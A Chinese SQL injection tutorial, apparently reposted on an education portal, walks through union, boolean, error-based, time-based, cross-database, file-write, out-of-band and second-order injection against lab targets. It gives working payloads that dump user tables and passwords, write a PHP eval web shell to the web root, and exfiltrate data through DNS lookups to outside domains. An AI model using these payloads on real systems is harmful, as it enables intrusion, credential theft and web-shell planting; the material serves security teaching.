SQL注入分类

:2025年05月14日 一个努力的学渣
分享到:

SQL注入是一种常见的攻击方式,需要了解一些前置知识。识别存在注入的方法包括判断是否存在注入、判断列数、判断回显点、查询当前数据库名、查询表名、查询列名。在MySQL中,可以使用`id=1awsfas`直接进...

本篇文章只是起个引头的左右,当然篇幅也比较长,忘大家能耐心看完,至于更复杂的操作,大家可以根据这个基础去做更深层次的研究

首先,了解SQL注入分类之前需要先了解一些前置知识,当然基础知识必不可少,可参考上篇文章

靶场:https://github.com/Audi-1/sqli-labs

或者不想开靶场,可以使用Fofa搜索在线MySQL靶场

Fofa搜索:"SQLi-Labs"

SQL注入分类前置知识之基础语句

1.判断是否存在注入:

id=1 and 1=1 --+ #页面正常

id=1 and 1=2 --+ #页面异常,存在注入(或者使用id=1awsfas来直接进行判断)

2.判断列数:

id=1 order by 4 --+ #页面正常时,数字为几,就代表存在几列

3.判断回显点:

id=-1 union select 1,2,3,4 --+ #哪个数字显示出来就代表回显点是几

4.查询当前数据库名:

id=-1 union select 1,database(),3,4 --+

5.查询表名:

id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+

6.查询列名:

id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' --+

7.获取数据:

id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member --+

8.解密得到的密码

本篇文章不会把所有的注入类型所有的操作步骤都写一遍,基础语法放在最前面,先了解基础语句,再进行下一步,最起码能看懂,知道怎么套用语句

SQL注入分类前置知识之数据类型

  • 注入前,需要知道是否存在符号干扰:有无单引号或双引号及通配符等

  • 如果不知道属于哪种数据类型,那后续工作无法进行,一切都白搭,当然这个是需要进行测试的

  • 数字:select * from news where id=$id;

  • 字符:select * from news where name='$name';

  • 搜索:select * from news where name like '%name%';

SQL注入分类前置知识之数据格式

没有规矩,不成方圆

数据格式就相当于一个规矩,你得按照人家的数据格式来,否则数据如何传输?

当然,数据格式肯定不止以下几种,需要观察是否为已知的格式

如果是未知的,可能需要审计JS代码,或者多观察数据包,找到所谓的格式

XML

  • 数据传输采用XML格式传递



JSON

  • 数据传输采用JSON格式传递



编码

  • 数据传输采用编码或加密形式传递

  • 编码:如加密

  • 加密形式:如JS逆向







混合

  • 数据传递采用JSON和编码传递



SQL注入分类前置知识之HTTP头部注入

需要注意:SQL注入的前提--与数据库进行交互(本质就是观察数据包,看看哪个部分可能与数据库进行交互)

HTTP头部注入:需要了解业务应用功能,之后才可以确定使用哪种HTTP头部注入方式

其实HTTP注入也可以归为SQL注入分类,只不过所有的SQL注入分类都是在HTTP头部注入上进行注入的

UA(User-Agent)

可能出现的场景:

  • 对UA设备指定显示方案

  • 对UA设备进行信息记录

  • insert注入

简单的说:就是UA与数据库进行交互,需要UA这个数据(如果只是判断UA而不写入数据库,那不存在UA注入)





XFF(X-Forwarded-For)

可能出现的场景:

  • 限制IP访问功能

  • 记录IP访问日志

  • insert注入





Cookie

可能出现的场景:开发人员编写一个根据用户 ID(存储在Cookie中)来查询信息的功能





user_id如何发现?

  • Fuzz:几率很低

  • 注册用户,观察Cookie

  • Findsomething

为什么要加and 1=2?

  • 为了报错,如果不加,没有结果



Referer

可能出现的场景:网站期望登录请求来自于本站页面,如果Referer是其他来源,则拒绝登录。





SQL注入分类前置知识之增删改查注入

  • 查询:

  • union注入

  • 原因:

  • 代码会把数据显示出来(有回显)

  • 语句组成也会造成此原因

  • 新增、修改、删除:

  • 报错注入

  • 原因:代码只会把结果显示出来,不会显示数据(无回显)

  • 语句组成也会造成此原因,比如union不能和insert放在一起,union是两条语句一起执行

所谓的SQL注入分类,其实也是在增删改查的基础上去实现的,所以归类为前置知识

新增







这里其实and和or都可以使用,但是建议使用or,因为只需要满足一个条件为真就可以了,而使用and需要满足两个条件都为真





修改









删除



之后点击删除按钮



查询











基础知识已完毕,接下来正式开始SQL注入分类

SQL注入之盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

盲注分类:布尔、报错、延迟

布尔注入

基于布尔注入的前提:有结果输出,根据结果输出内容不同来判断条件是否成立

下面函数只是大概举例,用法其实很多,各种函数都可以进行尝试搭配使用

  • regexp

  • SELECT DATABASE() REGEXP '^i' #匹配第一位是否为i,如果为i返回1,否则返回0

  • SELECT DATABASE() REGEXP '^[a-z]' #判断第一位是否为字母



  • like

  • SELECT DATABASE() like 'inf%' #判断数据库是否为inf...



  • ascii

  • SELECT ASCII(SUBSTR(database(),1,1))<115 #判断数据库第一位字符的ASCII



  • left

  • left(a,b)从左侧截取a的前b位

  • select left(database(),1)='i'; #判断第一位是否为i

  • select left(database(),2)='in'; #判断前两位是否为in



  • ord

  • select ord(left(database(),1))<112; #判断第一位的ASCII是否小于112,根据 ASCII码判断数据库



  • mid

  • mid(a,b,c)#从位置b开始,截取a字符串的c位

  • select MID(database(),1,1)='i' #判断第一位是否为i



  • substr

  • substr(a,b,c)#从位置b开始,截取字符串a的c长度

  • select SUBSTR((database()),1,1)='i' #判断第一位是否为i



  • length

  • select length(database())=18 #判断数据库长度



报错注入

基于报错注入的前提:页面报错

下面语句中标红的部分为SQL语句,可自己自定义修改

  • floor报错注入:

  • select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a



  • select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables limit 1),0x7e)x from information_schema.character_sets group by x)a



  • ExtractValue报错注入:

  • and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));



  • UpdateXml报错注入:

  • select updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 1)),1)



  • 爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

  • 链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

  • 链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

  • 爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

  • 爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

  • 爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

  • 爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

  • NAME_CONST报错注入:

  • select exists(select * from (select * from(select name_const(version(),0)) a join (select name_const(version(),0)) b)c)

  • 但好像只能查出来版本,网上也没其他相关资料,查资料说是不支持动态函数,或者得具体修改语句



  • join报错注入:

  • 前提:在知到表名的前提下才能操作

  • select * from (select * from user as a join user as b) as c;



  • select * from (select * from user as a join user as b using(HOst)) as c;



  • exp报错注入:

  • 前提条件:

  • 适用 MySQL 5.5.44 ~ 5.5.47 版本(也不一定,可能5.5.0版本都可以,需要尝试),更高版本(如 5.6+)可能无法返回查询结果

  • 目标数据库需支持 EXP 函数且未禁用错误信息回显

  • select (exp(~(SELECT * FROM(SELECT version() )a)))



  • select (exp(~(SELECT * FROM(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1 )a)))



  • GeometryCollection()报错注入:

  • select GeometryCollection((select * from (select * from(select version())a)b))



  • select GeometryCollection((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



  • polygon()报错注入:

  • 适用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效

  • 限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修复了此类漏洞,导致 polygon() 报错注入失效

  • select polygon((select * from (select * from(select version())a)b))



  • select polygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



  • multipoint()报错注入:

  • 适用版本:MySQL 5.1.5 ~ 5.5.49,部分 5.6.x 版本可能仍有效。

  • 限制:在 MySQL 5.5.49 及更高版本(包括 5.7.x)中,官方修复了此类漏洞,导致 multipoint() 报错注入失效

  • SELECT multipoint((select * from (select * from(select version())a)b))



  • SELECT multipoint((select * from (select * from(select group_concat(table_name) from information_schema.tables where table_schema=DATABASE())a)b))





  • multlinestring()报错注入:

  • 有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。

  • 高版本修复:MySQL 5.7+ 修复了此漏洞,无法通过 multlinestring() 触发报错

  • SELECT multilinestring((select * from (select * from(select version())a)b))



  • SELECT multilinestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



  • multpolygon()报错注入:

  • 有效版本:MySQL ≤5.5.49(部分 5.6.x 可能仍有效)。

  • 高版本修复:MySQL 5.7+ 修复了此漏洞,multipolygon() 报错注入失效

  • select multipolygon((select * from (select * from(select version())a)b))



  • select multipolygon((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



  • linestring()报错注入:

  • 有效版本:5.1.5 ~ 5.5.49(部分 5.6.x 可能仍有效)。

  • 高版本限制:MySQL 5.7+ 修复了此类漏洞,linestring() 报错注入失效

  • select linestring((select * from (select * from(select version())a)b))



  • select linestring((select * from (select * from(select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1)a)b))



案例无关紧要,知道方法后可自己搭建靶场进行测试

演示案例--xhcms_v1.0

注意:PHP7.0版本可能无法安装

漏洞文件:files/submit.php







直接访问会报错,因为是MVC框架





文件名:files/submit.php

访问:r=submit



出现新的问题:昵称不能为空



两种解决办法:

1.条件一个一个去手工满足

2.看看项目中有哪些文件调用了submit这个文件

因为是MVC模型,搜索:r=submit





之后构造URL:http://192.168.137.101:91/?r=contact



那应该使用什么注入呢?请看代码



SQL语句是单引号过滤

昵称、邮箱、网址均可进行注入:

' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '





延迟注入

  • sleep

  • sleep(5) #SQL语句延时执行5秒

  • if

  • if(条件,5,0)#条件成立 返回5 反之 返回0

  • select if((version())>5.0,sleep(4),2);



  • select if(SUBSTR((select table_name from information_schema.tables where table_schema=DATABASE() limit 0,1),1,1)='c',sleep(5),0)



案例无关紧要,知道方法后可自己搭建靶场进行测试

演示案例--kkcms

漏洞位置:admin/model/usergroup.php





这里使用延迟注入的原因:无报错函数(报错注入),数据没有输出(布尔注入)

此CMS直接访问路径无法访问,也是基于路由访问

访问后台:http://192.168.137.101:92/admin/cms_login.php



漏洞位置:admin/model/usergroup.php

如何访问? admin/cms_usergroup.php



之后构造payload:or if(1=1,sleep(3),0)



延时了3秒

Burp中,需要把空格替换为%20,如果不替换,Burp会认为空格之后是第二行

and if(length(database()))=5,sleep(3),0)



数据库长度为5

and if(ord((substr(database(),1,1)))=107,sleep(3),0)



数据库第一位ACCII码为107



and if(ord((substr(database(),2,1)))=107,sleep(3),0)



数据库第二位ACCII码为107

ASCII位数:127位,之后可以利用Burp的Intruder模块批量跑数据











延时注入不能使用Intruder,结果中不显示时间

SQL注入之跨库注入

基础知识--权限



root用户和普通用户的区别:

  • root用户可以看到并操作所有数据库,普通用户只能看到并操作系统自带的数据库和自己的数据库

  • 造成的影响:root用户可以获取其他网站上的数据库,普通用户不行(一个数据库里面可以有多个库,每个库都可以算作一个网站)

  • 那如何知道其他库的地址?

  • 数据库配置(表里面可能有)

  • 旁站

  • 同网站不同IP



注入

跨库注入的前提:配置文件中是root用户,不是普通用户



查数据库名:' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#



如果只有一个地方能返回数据怎么办?使用group_concat()函数:' union select GROUP_CONCAT(SCHEMA_name),2,3 from information_schema.SCHEMATA#



但有个缺点:如果数据库较多,可能显示不全

如果想要美观,可使用:

' union select GROUP_CONCAT(SCHEMA_name SEPARATOR ' <br/>'),2,3 from information_schema.SCHEMATA#



查表名:

普通版本:'union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#

升级版本:'union select GROUP_CONCAT(table_name SEPARATOR ' <br/>'),2,3 from information_schema.tables where table_schema='xhcms'#



查列名:

普通版本:' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#

升级版本:' union select GROUP_CONCAT(column_name SEPARATOR ' <br/>'),2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#



查数据:

普通版本:'union select user,2,3 from xhcms.manage#

升级版本:'union select GROUP_CONCAT(user,':',password SEPARATOR ' <br/>'),2,3 from xhcms.manage#



SQL注入之文件读写操作

基础知识

  • 文件读写操作:root用户可以进行文件读写操作,普通用户不行

  • 读写操作的前提:需要配置secure_file_priv开关

  • secure_file_priv:MySQL中的系统变量,用于限制文件的读取和写入

  • 查看是否有读写操作权限:show variables like"secure%"

  • 读:SELECT load_file('e:\\1.txt')

  • 写:select '123' into outfile 'e:\\2.txt'

  • Windows:my.ini配置文件中配置

  • Linux:my.cnf配置文件中配置











如果限制了目录,如何绕过?









绕过条件:存在可执行的SQL地方

  • 从后台的sql命令执行功能点(有的后台可以执行SQL命令):注入获取得到这个网站的后台账号密码

  • 从phpmyadmin命令执行功能点:注入获取到数据库的用户名和密码

  • root密码:存储在mysql数据库下user表

  • 低版本:user,password

  • 高版本:user,authentication_string

  • 版本中间值:5.4,或者两个都试下,只要出来数据就行

查看是否限制目录:show variables like"secure%"



启用慢查询日志(默认禁用):my.ini中配置:slow_query_log=1



show variables like'general_log';



set global general_log=on;









set global general_log_file='C:/phpstudy_pro/WWW/php1/bypass.php';

网站路径如何得知?

  • 遗留文件:如phpinfo();页面

  • 报错显示:可能会显示完整路径

  • 读中间件配置:如果中间件默认路径没有修改的话

  • 爆破fuzz路径



之后执行语句:select '<?php @eval($_POST[x]);?>'







注入

'union select LOAD_FILE('e:\\1.txt'),2,3#



' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#

写一句话木马:' union select '<?php @eval($_POST["xxx"])?>',2,3 into dumpfile 'C:\\phpstudy_pro\\WWW\\php1\\xx.php'#

写文件只能使用完整路径





关于网站路径获取方法:

1、遗留文件:如phpinfo();页面



2、报错显示:可能会显示完整路径

3、读中间件配置:如果中间件默认路径没有修改的话



4、爆破fuzz路径

SQL注入之带外注入

无回显时使用带外注入



使用yakit生成域名



可能出现的问题:语句明明正确,为什么DNSlog收不到数据?

解决办法:重新生成一个域名,可能是域名堵塞的原因

查数据名:'union select load_file(concat('\\\\',(select database()),'.hvuoczxssn.zaza.eu.org\\aa')),2,3#



查表名1:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".myygrhvzab.iyhc.eu.org\\xxx.txt")),2,3#



查表名2:' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#



查列名1:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 0,1),".xgqavkwzei.lfcx.eu.org\\xxx.txt")),2,3#



查列名2:' union select load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='xhcms' and table_name='manage' limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



查数据1的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



查数据1的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 0,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



查数据2的user字段:' union select load_file(concat("\\\\",(select user from xhcms.manage limit 1,1),".qyyyrocexz.yutu.eu.org\\xxx.txt")),2,3#



查数据2的password字段:' union select load_file(concat("\\\\",(select password from xhcms.manage limit 1,1),".bidfguhork.dgrh3.cn\\xxx.txt")),2,3#



SQL注入之堆叠注入

  • 原理:通过结束符(分号)同时执行多条sql语句

  • 支持堆叠数据库:

  • MYSQL

  • MSSQL

  • Postgresql

  • 目标如何才能存在堆叠注入:(触发的条件很苛刻)

  • 目标存在sql注入漏洞

  • 目标未对";"号进行过滤

  • 目标中间层查询数据库信息时可同时执行多条sql语句(使用函数不当)

  • 存在类似mysqli_multi_query()函数,支持多条SQL一起执行

  • 与之对应的是mysqli_query()函数,只能执行一条SQL







SQL注入之二次注入



  • 原理:注册(写入payload)-->登录后修改-->修改时以当前用户名为条件触发

  • 黑盒思路:功能点有添加操作,之后可以对添加的内容进行修改

  • 白盒思路:insert后进入select或update的功能的代码块

  • 注入条件:插入时有转义函数或配置,后续有利用插入的数据

正常逻辑:







二次注入逻辑:













正常修改密码:UPDATE users SET password = '123' WHERE username = 'xxx';

二次注入修改密码:UPDATE users SET password = '123' WHERE username = '' or 1=1#';

原文来源:https://mp.weixin.qq.com/s/-874oe4IGCZAPxXL2b4Rlw

[我要纠错]
[编辑:宋聪乔 &发表于江苏]
关键词: 本篇 文章 只是 左右 当然

来源:本文内容搜集或转自各大网络平台,并已注明来源、出处,如果转载侵犯您的版权或非授权发布,请联系小编,我们会及时审核处理。
声明:江苏教育黄页对文中观点保持中立,对所包含内容的准确性、可靠性或者完整性不提供任何明示或暗示的保证,不对文章观点负责,仅作分享之用,文章版权及插图属于原作者。

点个赞
0
踩一脚
0

您在阅读:SQL注入分类

Copyright©2013-2025  JSedu114 All Rights Reserved. 江苏教育信息综合发布查询平台保留所有权利

苏公网安备32010402000125 苏ICP备14051488号-3技术支持:南京博盛蓝睿网络科技有限公司

南京思必达教育科技有限公司版权所有   百度统计

最热文章
最新文章
  • 阿里云上云钜惠,云产品享最低成本,有需要联系,
  • 卡尔蔡司镜片优惠店,镜片价格低
  • 苹果原装手机壳